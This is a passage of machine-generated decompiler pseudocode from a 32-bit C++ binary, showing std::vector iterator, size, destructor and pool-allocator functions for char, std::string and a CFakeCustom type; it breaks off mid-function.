int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1) {
// 0x804b1aa
return (int32_t)a1;
}
// Address range: 0x804b234 - 0x804b26b
int32_t __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x804b241
int32_t v2 = __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x804b253
return (*(int32_t *)v1 - *(int32_t *)v2) / 8;
}
// Address range: 0x804b26c - 0x804b2b7
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(int32_t ** a1) {
// 0x804b26c
int32_t * v1;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(v1, a1);
int32_t * v2;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(v2, (int32_t *)a1);
return __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(v2, v1);
}
// Address range: 0x804b2b8 - 0x804b2cf
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(int32_t * a1) {
// 0x804b2b8
std__allocator_lt_char_gt__593();
return (int32_t)a1;
}
// Address range: 0x804b2d0 - 0x804b2d5
void __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(void) {
// 0x804b2d0
return;
}
// Address range: 0x804b2d6 - 0x804b2fd
int32_t std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2, int32_t a3) {
int32_t result = (int32_t)a1; // 0x804b2f62
if (a1 == a2) {
// 0x804b2fb
return result;
}
__gnu_cxx____mt_alloc_base_lt_char_gt___destroy();
int32_t result2 = result + 1; // 0x804b2f0
while ((int32_t *)result2 != a2) {
// 0x804b2de
__gnu_cxx____mt_alloc_base_lt_char_gt___destroy();
result2++;
// continue -> 0x804b2de
}
// 0x804b2fb
return result2;
}
// Address range: 0x804b2fe - 0x804b335
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(struct struct_3 * a1, int32_t a2) {
// 0x804b2fe
std__allocator_lt_char_gt__596((int32_t)a1);
a1->e0 = 0;
a1->e1 = 0;
int32_t result = (int32_t)a1; // 0x804b32c
*(int32_t *)(result + 8) = 0;
return result;
}
// Address range: 0x804b336 - 0x804b34f
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b336
return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16((struct struct_3 *)a1, (int32_t)a2);
}
// Address range: 0x804b424 - 0x804b433
int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b424
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x804b434 - 0x804b45f
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(int32_t * a1, int32_t ** a2) {
int32_t v1 = *(int32_t *)a2; // 0x804b441
__gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b460 - 0x804b489
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(int32_t * a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b46d
__gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b4c0 - 0x804b4cf
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = *a2; // 0x804b4c6
g97 = v1;
*a1 = v1;
return (int32_t)a1;
}
// Address range: 0x804b4d0 - 0x804b4f3
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(int32_t * a1, int32_t * a2) {
// 0x804b4d0
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, a2);
return (int32_t)a1;
}
// Address range: 0x804b4f4 - 0x804b527
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x804b501
int32_t v2 = *a3; // 0x804b506
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(v2 + v1));
return (int32_t)a1;
}
// Address range: 0x804b528 - 0x804b579
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) {
// 0x804b528
int32_t * v1;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v1, (int32_t *)a1);
int32_t * v2;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v2, v1, a2);
return __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(v2);
}
// Address range: 0x804b57a - 0x804b59d
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(int32_t * a1, int32_t a2) {
// 0x804b57a
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(a2 + 4));
return (int32_t)a1;
}
// Address range: 0x804b5a0 - 0x804b5b5
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(int32_t * a1) {
// 0x804b5a0
*a1 = *a1 + 1;
return (int32_t)a1;
}
// Address range: 0x804b5b6 - 0x804b5bb
void __gnu_cxx____mt_alloc_base_lt_std__string_gt_(void) {
// 0x804b5b6
return;
}
// Address range: 0x804b5bc - 0x804b5d3
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(int32_t * a1) {
int32_t result = (int32_t)a1; // 0x804b5c2
g95 = result;
std__allocator_lt_std__string_gt__14(result);
return result;
}
// Address range: 0x804b5d4 - 0x804b5e9
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(int32_t * a1) {
int32_t v1;
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); // 0x804b5e0
return result;
}
// Address range: 0x804b5ea - 0x804b611
int32_t std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t result = (int32_t)a1; // 0x804b60b2
if (a1 == a2) {
// 0x804b610
return result;
}
__gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(a3);
int32_t result2 = result + 4; // 0x804b604
// branch -> 0x804b5f2
while ((int32_t *)result2 != a2) {
// 0x804b5f2
__gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(a3);
result2 += 4;
// continue -> 0x804b5f2
}
// 0x804b610
return result2;
}
// Address range: 0x804b612 - 0x804b621
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b612
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x804b622 - 0x804b64d
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(int32_t * a1, int32_t ** a2) {
int32_t v1 = *(int32_t *)a2; // 0x804b62f
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b64e - 0x804b677
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(int32_t * a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b65b
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x804b67a - 0x804b689
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b67a
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x804b68a - 0x804b6ad
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(int32_t * a1, int32_t * a2) {
// 0x804b68a
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, a2);
return (int32_t)a1;
}
// Address range: 0x804b6ae - 0x804b6e1
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x804b6bb
int32_t v2 = *a3; // 0x804b6c0
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1));
return (int32_t)a1;
}
// Address range: 0x804b6e4 - 0x804b735
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) {
// 0x804b6e4
int32_t * v1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v1, (int32_t *)a1);
int32_t * v2;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v2, v1, a2);
return __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v2);
}
// Address range: 0x804b736 - 0x804b745
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x804b736
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x804b746 - 0x804b769
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(int32_t * a1, int32_t * a2) {
// 0x804b746
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, a2);
return (int32_t)a1;
}
// Address range: 0x804b76a - 0x804b79d
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x804b777
int32_t v2 = *a3; // 0x804b77c
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)(8 * v2 + v1));
return (int32_t)a1;
}
// Address range: 0x804b7a0 - 0x804b7f1
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) {
// 0x804b7a0
int32_t * v1;
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v1, (int32_t *)a1);
int32_t * v2;
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(v2, v1, a2);
return __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(v2);
}
// Address range: 0x804b7f2 - 0x804b7f9
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1) {
// 0x804b7f2
return (int32_t)a1;
}
// Address range: 0x804b7fa - 0x804b831
int32_t __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x804b807
int32_t v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x804b819
return (*(int32_t *)v1 - *(int32_t *)v2) / 4;
}
// Address range: 0x804b832 - 0x804b87d
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(int32_t ** a1) {
// 0x804b832
int32_t * v1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v1, a1);
int32_t * v2;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v2, (int32_t *)a1);
return __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v2, v1);
}
// Address range: 0x804ba7c - 0x804ba83
int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1) {
// 0x804ba7c
return (int32_t)a1;
}
// Address range: 0x804ba84 - 0x804bab7
int32_t __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804ba91
int32_t v2 = __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804baa3
return *(int32_t *)v1 - *(int32_t *)v2;
}
// Address range: 0x804bab8 - 0x804bb03
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(int32_t ** a1) {
// 0x804bab8
int32_t * v1;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(v1, a1);
int32_t * v2;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(v2, (int32_t *)a1);
return __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v2, v1);
}
// Address range: 0x804c250 - 0x804c2a1
int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(void) {
// 0x804c250
g95 = (int32_t)(unsigned char)g27 | 0x8132c00;
return 0x8132c20;
}
// Address range: 0x804c402 - 0x804c41d
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(int32_t a1) {
// 0x804c402
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x804c41e - 0x804c439
int32_t std__allocator_lt_CFakeCustom_gt__38(int32_t a1, int32_t a2) {
// 0x804c41e
__gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(a1);
return 0x8132c20;
}
// Address range: 0x804c43a - 0x804c457
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x804c440
std__allocator_lt_CFakeCustom_gt__38(result, (int32_t)a2);
return result;
}
// Address range: 0x804c4b2 - 0x804c4cd
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(int32_t a1) {
// 0x804c4b2
__gnu_cxx____mt_alloc_base_lt_std__string_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x804c4ce - 0x804c4e5
int32_t std__allocator_lt_std__string_gt__42(int32_t a1) {
// 0x804c4ce
__gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(a1);
return 0x8132c20;
}
// Address range: 0x804c4e6 - 0x804c501
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(int32_t a1) {
// 0x804c4e6
__gnu_cxx____mt_alloc_base_lt_std__string_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x804c502 - 0x804c51d
int32_t std__allocator_lt_std__string_gt__44(int32_t a1, int32_t a2) {
// 0x804c502
__gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(a1);
return 0x8132c20;
}
// Address range: 0x804c51e - 0x804c555
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(struct struct_3 * a1, int32_t a2) {
// 0x804c51e
std__allocator_lt_std__string_gt__44((int32_t)a1, a2);
a1->e0 = 0;
g95 = (int32_t)a1;
a1->e1 = 0;
int32_t result = (int32_t)a1; // 0x804c54c
*(int32_t *)(result + 8) = 0;
return result;
}
// Address range: 0x804c556 - 0x804c56f
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, struct struct_3 * a2) {
// 0x804c556
return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45((struct struct_3 *)a1, (int32_t)a2);
}
// Address range: 0x804c570 - 0x804c58b
int32_t std__allocator_lt_std__string_gt__46(int32_t a1, int32_t a2) {
// 0x804c570
__gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(a1);
return 0x8132c20;
}
// Address range: 0x804c58c - 0x804c5a9
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(struct struct_3 * a1, int32_t * a2) {
// 0x804c58c
std__allocator_lt_std__string_gt__46((int32_t)a1, (int32_t)a2);
return (int32_t)a1;
}
// Address range: 0x804d1de - 0x804d23b
int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2) {
int32_t v1 = (g95 & -256 | (int32_t)(a2 == NULL)) ^ 1; // 0x804d1e8
g95 = v1;
if (v1 % 2 == 0) {
// 0x804d23a
return 0;
}
// 0x804d1f2
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t result; // 0x804d23b_11
int32_t * v2;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v2) == 0) {
// 0x804d226
int32_t v3;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v2, 0x804d1f7, v3, 0, 0, 0);
// branch -> 0x804d23a
} else {
// 0x804d216
result = _ZdlPv(a2);
// branch -> 0x804d23a
}
// 0x804d23a
return result;
}
// Address range: 0x804d23c - 0x804d25f
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x804d23c
int32_t result; // 0x804d255
if (a2 != NULL) {
// 0x804d248
g95 = (int32_t)a1;
result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2);
// branch -> 0x804d25d
}
// 0x804d25d
return result;
}
// Address range: 0x804d260 - 0x804d2d3
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50(struct struct_3 * a1) {
int32_t v1 = a1->e0; // 0x804d27f
g95 = v1;
int32_t v2 = *(int32_t *)((int32_t)a1 + 8) - a1->e0; // bp-36
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(&a1->e0, &v1, &v2);
g96 = (int32_t)a1;
return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(&a1->e0);
}
// Address range: 0x804d2d4 - 0x804d329
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(struct struct_6 * a1) {
// 0x804d2d4
int32_t v1;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v1, (int32_t *)a1);
int32_t * v2 = a1->e1; // 0x804d2f0
int32_t v3 = *(int32_t *)a1; // 0x804d2f6
std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_((int32_t *)v3, v2, v1);
std__allocator_lt_char_gt_();
return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50((struct struct_3 *)a1);
}
// Address range: 0x804d6ae - 0x804d6c7
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52(struct struct_6 * a1, int32_t a2) {
return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_((int32_t *)a1, &a2);
}
// Address range: 0x804d8fe - 0x804d95f
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t ** a3) {
// 0x804d8fe
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x804d95e
return 0;
}
// 0x804d912
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 8 * (int32_t)a3; // 0x804d91d
int32_t result; // 0x804d95f_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x804d949
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x804d917, v2, 0, 0, 0);
// branch -> 0x804d95e
} else {
// 0x804d939
result = _ZdlPv(a2);
// branch -> 0x804d95e
}
// 0x804d95e
return result;
}
// Address range: 0x804d960 - 0x804d983
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t ** a3) {
// 0x804d960
int32_t result; // 0x804d979
if (a2 != NULL) {
// 0x804d96c
g95 = (int32_t)a1;
result = __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3);
// branch -> 0x804d981
}
// 0x804d981
return result;
}
// Address range: 0x804e57c - 0x804e5dd
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x804e57c
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x804e5dc
return 0;
}
// 0x804e590
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 4 * (int32_t)a3; // 0x804e59b
int32_t result; // 0x804e5dd_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x804e5c7
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x804e595, v2, 0, 0, 0);
// branch -> 0x804e5dc
} else {
// 0x804e5b7
result = _ZdlPv(a2);
// branch -> 0x804e5dc
}
// 0x804e5dc
return result;
}
// Address range: 0x804e5de - 0x804e601
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x804e5de
int32_t result; // 0x804e5f7
if (a2 != NULL) {
// 0x804e5ea
g95 = (int32_t)a1;
result = __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3);
// branch -> 0x804e5ff
}
// 0x804e5ff
return result;
}
// Address range: 0x804e602 - 0x804e679
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63(struct struct_3 * a1) {
int32_t v1 = (*(int32_t *)((int32_t)a1 + 8) - a1->e0) / 4; // bp-36
int32_t v2 = a1->e0; // bp-40
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(&a1->e0, &v2, &v1);
g96 = (int32_t)a1;
return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(&a1->e0);
}
// Address range: 0x804e67a - 0x804e693
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(struct struct_3 * a1, struct struct_3 * a2) {
// 0x804e67a
return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(&a1->e0, a2);
}
// Address range: 0x804e694 - 0x804e735
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64(struct struct_10 * a1) {
struct struct_3 * v1 = NULL; // bp-9
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1);
int32_t * v2 = a1->e1; // 0x804e6b1
struct struct_3 * v3 = (struct struct_3 *)*(int32_t *)a1; // 0x804e6c1_0
std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(&v3->e0, v2, &v1->e0);
std__allocator_lt_std__string_gt_(&v1->e0);
return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63((struct struct_3 *)a1);
}
// Address range: 0x804e736 - 0x804e73d
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1) {
// 0x804e736
return (int32_t)a1;
}
// Address range: 0x804e73e - 0x804e771
int32_t __gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804e74b
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804e75b
int32_t v4 = *(int32_t *)v3; // 0x804e763
return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2;
}
// Address range: 0x804e772 - 0x804e7c1
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1) {
// 0x804e772
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) == 0) {
// 0x804e7bf
return 0;
}
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_char_gt___destroy();
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) != 0) {
// 0x804e77a
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1);
